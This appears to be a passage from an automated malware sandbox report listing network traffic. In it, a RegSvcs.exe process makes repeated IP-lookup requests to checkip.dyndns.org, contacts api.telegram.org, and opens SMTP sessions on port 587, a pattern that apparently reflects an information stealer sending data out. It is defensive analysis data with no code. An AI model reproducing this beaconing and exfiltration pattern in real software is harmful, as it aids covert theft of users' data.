Sep 19, 2024 12:25:00.501319885 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.504518986 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.607256889 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.612689972 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.617810965 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.775782108 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.776370049 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.782042980 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:01.131002903 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:01.132349968 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:01.132397890 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:01.132544041 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:01.132558107 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:01.457761049 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:01.458092928 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:01.458151102 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:01.458606005 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:01.460458040 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:01.465445995 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:01.465539932 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.014466047 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.044926882 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.049971104 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.199963093 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.201107979 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.206340075 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.362487078 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.364624977 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.374907017 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.486083031 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.488866091 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.495697975 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.901062012 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:02.903883934 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:02.903939962 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:02.904103041 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:02.904309034 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:02.904336929 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:02.969680071 CEST	587	61707	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:02.969801903 CEST	61707	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:03.213511944 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:03.216811895 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.216860056 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.216914892 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.217200041 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.217211008 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.220612049 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:03.220664978 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:03.606441975 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.608589888 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.608669043 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.608733892 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.608756065 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.839960098 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.842178106 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.842200041 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.842278957 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.842284918 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.949505091 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.949677944 CEST	443	61708	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:03.949749947 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.950216055 CEST	61708	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:03.951628923 CEST	61710	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:03.956767082 CEST	587	61710	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:03.956842899 CEST	61710	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:04.141993046 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:04.142086029 CEST	443	61709	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:04.142347097 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:04.142641068 CEST	61709	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:04.144448042 CEST	61711	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:04.157085896 CEST	587	61711	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:04.157179117 CEST	61711	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:09.782895088 CEST	61711	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:09.784862041 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.784972906 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:09.785068989 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.785296917 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.785332918 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:09.789333105 CEST	61710	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:09.791264057 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.791301966 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:09.791388988 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.791690111 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:09.791704893 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.090672970 CEST	587	61711	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:10.090706110 CEST	587	61710	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:10.090778112 CEST	61710	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:10.090857983 CEST	61711	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:10.690184116 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.692464113 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.692492962 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.692676067 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.692682981 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.703228951 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.705287933 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.705363989 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.705666065 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.705679893 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.984728098 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.984920979 CEST	443	61713	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:10.985055923 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.985394001 CEST	61713	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:10.985852957 CEST	61714	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:10.990655899 CEST	587	61714	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:10.990840912 CEST	61714	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:11.031718969 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:11.031790018 CEST	443	61712	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:11.031963110 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:11.032473087 CEST	61712	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:11.033911943 CEST	61715	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:11.038784981 CEST	587	61715	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:11.039412022 CEST	61715	587	192.168.2.5	208.91.198.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 19, 2024 12:21:05.400042057 CEST	56154	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:05.406950951 CEST	53	56154	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:07.358653069 CEST	55812	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:07.366575003 CEST	53	55812	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:19.718935966 CEST	52991	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:19.728554964 CEST	53	52991	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:35.147201061 CEST	64338	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:35.155911922 CEST	53	64338	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:36.923407078 CEST	53	63927	162.159.36.2	192.168.2.5
Sep 19, 2024 12:21:37.441477060 CEST	62146	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:37.452467918 CEST	53	62146	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:39.735891104 CEST	63047	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:39.743344069 CEST	53	63047	1.1.1.1	192.168.2.5
Sep 19, 2024 12:21:42.827052116 CEST	58586	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:21:42.834301949 CEST	53	58586	1.1.1.1	192.168.2.5
Sep 19, 2024 12:23:07.868227959 CEST	64102	53	192.168.2.5	1.1.1.1
Sep 19, 2024 12:23:07.877660036 CEST	53	64102	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 19, 2024 12:21:05.400042057 CEST	192.168.2.5	1.1.1.1	0xe4b3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:07.358653069 CEST	192.168.2.5	1.1.1.1	0x2841	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:19.718935966 CEST	192.168.2.5	1.1.1.1	0x7dd8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:35.147201061 CEST	192.168.2.5	1.1.1.1	0xfc1d	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:37.441477060 CEST	192.168.2.5	1.1.1.1	0xf03e	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 19, 2024 12:21:39.735891104 CEST	192.168.2.5	1.1.1.1	0x29c9	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:42.827052116 CEST	192.168.2.5	1.1.1.1	0x13df	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:23:07.868227959 CEST	192.168.2.5	1.1.1.1	0xcd3a	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:05.406950951 CEST	1.1.1.1	192.168.2.5	0xe4b3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:07.366575003 CEST	1.1.1.1	192.168.2.5	0x2841	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:07.366575003 CEST	1.1.1.1	192.168.2.5	0x2841	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:19.728554964 CEST	1.1.1.1	192.168.2.5	0x7dd8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:35.155911922 CEST	1.1.1.1	192.168.2.5	0xfc1d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:35.155911922 CEST	1.1.1.1	192.168.2.5	0xfc1d	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:35.155911922 CEST	1.1.1.1	192.168.2.5	0xfc1d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:35.155911922 CEST	1.1.1.1	192.168.2.5	0xfc1d	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:37.452467918 CEST	1.1.1.1	192.168.2.5	0xf03e	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Sep 19, 2024 12:21:39.743344069 CEST	1.1.1.1	192.168.2.5	0x29c9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:39.743344069 CEST	1.1.1.1	192.168.2.5	0x29c9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:39.743344069 CEST	1.1.1.1	192.168.2.5	0x29c9	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:39.743344069 CEST	1.1.1.1	192.168.2.5	0x29c9	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:21:42.834301949 CEST	1.1.1.1	192.168.2.5	0x13df	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:23:07.877660036 CEST	1.1.1.1	192.168.2.5	0xcd3a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:23:07.877660036 CEST	1.1.1.1	192.168.2.5	0xcd3a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:23:07.877660036 CEST	1.1.1.1	192.168.2.5	0xcd3a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Sep 19, 2024 12:23:07.877660036 CEST	1.1.1.1	192.168.2.5	0xcd3a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:05.422763109 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:06.085481882 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 76a215cbfdab033f7abe6ca44656f391 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:06.091797113 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:07.297427893 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:07 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4ea0338291f5db359c8a70c0aa53f97f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:09.071471930 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:09.275693893 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 30dc30abc22cb38ee89fdcb5639a8127 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:09.918914080 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:10.583904028 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b3511a3787176c7ab927fd1d9a93c134 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:11.239732981 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 19, 2024 12:21:11.991666079 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:11 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 565188367cdc1873b4cd50c26c81ab98 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:12.596837044 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:13.619724989 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd5fb25339e165271577a93454bc3ed0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:13.620918989 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:13 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd5fb25339e165271577a93454bc3ed0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:14.221731901 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:14.925029039 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: af0c5f3dd991eb488223ad67062cedc9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 19, 2024 12:21:15.147749901 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:14 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: af0c5f3dd991eb488223ad67062cedc9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Sep 19, 2024 12:21:15.555119038 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 19, 2024 12:21:16.216988087 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 19 Sep 2024 10:21:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 437288fe35b7ccf4b5d4a6438ce6c1ef Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49717	132.226.247.73	80	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
